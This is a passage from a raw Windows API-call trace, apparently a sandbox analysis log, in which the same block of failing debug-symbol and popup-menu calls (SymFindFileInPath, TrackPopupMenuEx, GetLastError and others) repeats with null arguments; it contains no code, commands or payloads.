(dwErrCode=0x579) [0218.873] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.873] SymCleanup (hProcess=0x0) returned 0 [0218.873] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.873] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.873] GetLastError () returned 0x579 [0218.873] SetLastError (dwErrCode=0x579) [0218.875] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.875] SymCleanup (hProcess=0x0) returned 0 [0218.875] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.877] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.878] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.892] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.892] GetLastError () returned 0x579 [0218.892] SetLastError (dwErrCode=0x579) [0218.892] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.892] SymCleanup (hProcess=0x0) returned 0 [0218.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.893] GetLastError () returned 0x579 [0218.893] SetLastError (dwErrCode=0x579) [0218.893] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.893] SymCleanup (hProcess=0x0) returned 0 [0218.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=659, param_4=153, param_5=0x0, param_6=0x0) returned 0 [0218.893] GetLastError () returned 0x579 [0218.893] SetLastError (dwErrCode=0x579) [0218.893] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.893] SymCleanup (hProcess=0x0) returned 0 [0218.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.893] GetLastError () returned 0x579 [0218.894] SetLastError (dwErrCode=0x579) [0218.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.894] SymCleanup (hProcess=0x0) returned 0 [0218.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.894] GetLastError () returned 0x579 [0218.894] SetLastError (dwErrCode=0x579) [0218.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.894] SymCleanup (hProcess=0x0) returned 0 [0218.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.894] GetLastError () returned 0x579 [0218.894] SetLastError (dwErrCode=0x579) [0218.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.894] SymCleanup (hProcess=0x0) returned 0 [0218.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.894] GetLastError () returned 0x579 [0218.895] SetLastError (dwErrCode=0x579) [0218.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.895] SymCleanup (hProcess=0x0) returned 0 [0218.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1273, param_4=802, param_5=0x0, param_6=0x0) returned 0 [0218.895] GetLastError () returned 0x579 [0218.895] SetLastError (dwErrCode=0x579) [0218.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.895] SymCleanup (hProcess=0x0) returned 0 [0218.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.895] GetLastError () returned 0x579 [0218.895] SetLastError (dwErrCode=0x579) [0218.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.895] SymCleanup (hProcess=0x0) returned 0 [0218.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.896] GetLastError () returned 0x579 [0218.896] SetLastError (dwErrCode=0x579) [0218.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.896] SymCleanup (hProcess=0x0) returned 0 [0218.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.896] GetLastError () returned 0x579 [0218.896] SetLastError (dwErrCode=0x579) [0218.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.896] SymCleanup (hProcess=0x0) returned 0 [0218.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.896] GetLastError () returned 0x579 [0218.896] SetLastError (dwErrCode=0x579) [0218.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.896] SymCleanup (hProcess=0x0) returned 0 [0218.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=483, param_4=505, param_5=0x0, param_6=0x0) returned 0 [0218.897] GetLastError () returned 0x579 [0218.897] SetLastError (dwErrCode=0x579) [0218.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.897] SymCleanup (hProcess=0x0) returned 0 [0218.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.897] GetLastError () returned 0x579 [0218.897] SetLastError (dwErrCode=0x579) [0218.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.897] SymCleanup (hProcess=0x0) returned 0 [0218.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.897] GetLastError () returned 0x579 [0218.897] SetLastError (dwErrCode=0x579) [0218.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.897] SymCleanup (hProcess=0x0) returned 0 [0218.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.898] GetLastError () returned 0x579 [0218.898] SetLastError (dwErrCode=0x579) [0218.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.898] SymCleanup (hProcess=0x0) returned 0 [0218.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.898] GetLastError () returned 0x579 [0218.898] SetLastError (dwErrCode=0x579) [0218.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.898] SymCleanup (hProcess=0x0) returned 0 [0218.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=522, param_4=222, param_5=0x0, param_6=0x0) returned 0 [0218.898] GetLastError () returned 0x579 [0218.898] SetLastError (dwErrCode=0x579) [0218.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.898] SymCleanup (hProcess=0x0) returned 0 [0218.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.899] GetLastError () returned 0x579 [0218.899] SetLastError (dwErrCode=0x579) [0218.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.899] SymCleanup (hProcess=0x0) returned 0 [0218.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.899] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.899] GetLastError () returned 0x579 [0218.899] SetLastError (dwErrCode=0x579) [0218.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.899] SymCleanup (hProcess=0x0) returned 0 [0218.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.899] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.899] GetLastError () returned 0x579 [0218.899] SetLastError (dwErrCode=0x579) [0218.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.899] SymCleanup (hProcess=0x0) returned 0 [0218.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.900] GetLastError () returned 0x579 [0218.900] SetLastError (dwErrCode=0x579) [0218.900] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.900] SymCleanup (hProcess=0x0) returned 0 [0218.900] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.900] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.900] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=762, param_4=286, param_5=0x0, param_6=0x0) returned 0 [0218.900] GetLastError () returned 0x579 [0218.900] SetLastError (dwErrCode=0x579) [0218.900] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.900] SymCleanup (hProcess=0x0) returned 0 [0218.900] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.900] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.900] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.901] GetLastError () returned 0x579 [0218.901] SetLastError (dwErrCode=0x579) [0218.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.901] SymCleanup (hProcess=0x0) returned 0 [0218.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.901] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.901] GetLastError () returned 0x579 [0218.901] SetLastError (dwErrCode=0x579) [0218.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.901] SymCleanup (hProcess=0x0) returned 0 [0218.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.901] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.901] GetLastError () returned 0x579 [0218.901] SetLastError (dwErrCode=0x579) [0218.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.901] SymCleanup (hProcess=0x0) returned 0 [0218.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.902] GetLastError () returned 0x579 [0218.902] SetLastError (dwErrCode=0x579) [0218.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.902] SymCleanup (hProcess=0x0) returned 0 [0218.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=880, param_4=156, param_5=0x0, param_6=0x0) returned 0 [0218.902] GetLastError () returned 0x579 [0218.902] SetLastError (dwErrCode=0x579) [0218.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.902] SymCleanup (hProcess=0x0) returned 0 [0218.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.902] GetLastError () returned 0x579 [0218.902] SetLastError (dwErrCode=0x579) [0218.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.902] SymCleanup (hProcess=0x0) returned 0 [0218.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.903] GetLastError () returned 0x579 [0218.903] SetLastError (dwErrCode=0x579) [0218.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.903] SymCleanup (hProcess=0x0) returned 0 [0218.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.903] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.903] GetLastError () returned 0x579 [0218.903] SetLastError (dwErrCode=0x579) [0218.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.903] SymCleanup (hProcess=0x0) returned 0 [0218.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.903] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.903] GetLastError () returned 0x579 [0218.903] SetLastError (dwErrCode=0x579) [0218.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.903] SymCleanup (hProcess=0x0) returned 0 [0218.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.904] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1099, param_4=412, param_5=0x0, param_6=0x0) returned 0 [0218.904] GetLastError () returned 0x579 [0218.904] SetLastError (dwErrCode=0x579) [0218.904] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.904] SymCleanup (hProcess=0x0) returned 0 [0218.904] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.904] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.904] GetLastError () returned 0x579 [0218.904] SetLastError (dwErrCode=0x579) [0218.904] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.904] SymCleanup (hProcess=0x0) returned 0 [0218.904] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.904] InsertMenuItemA 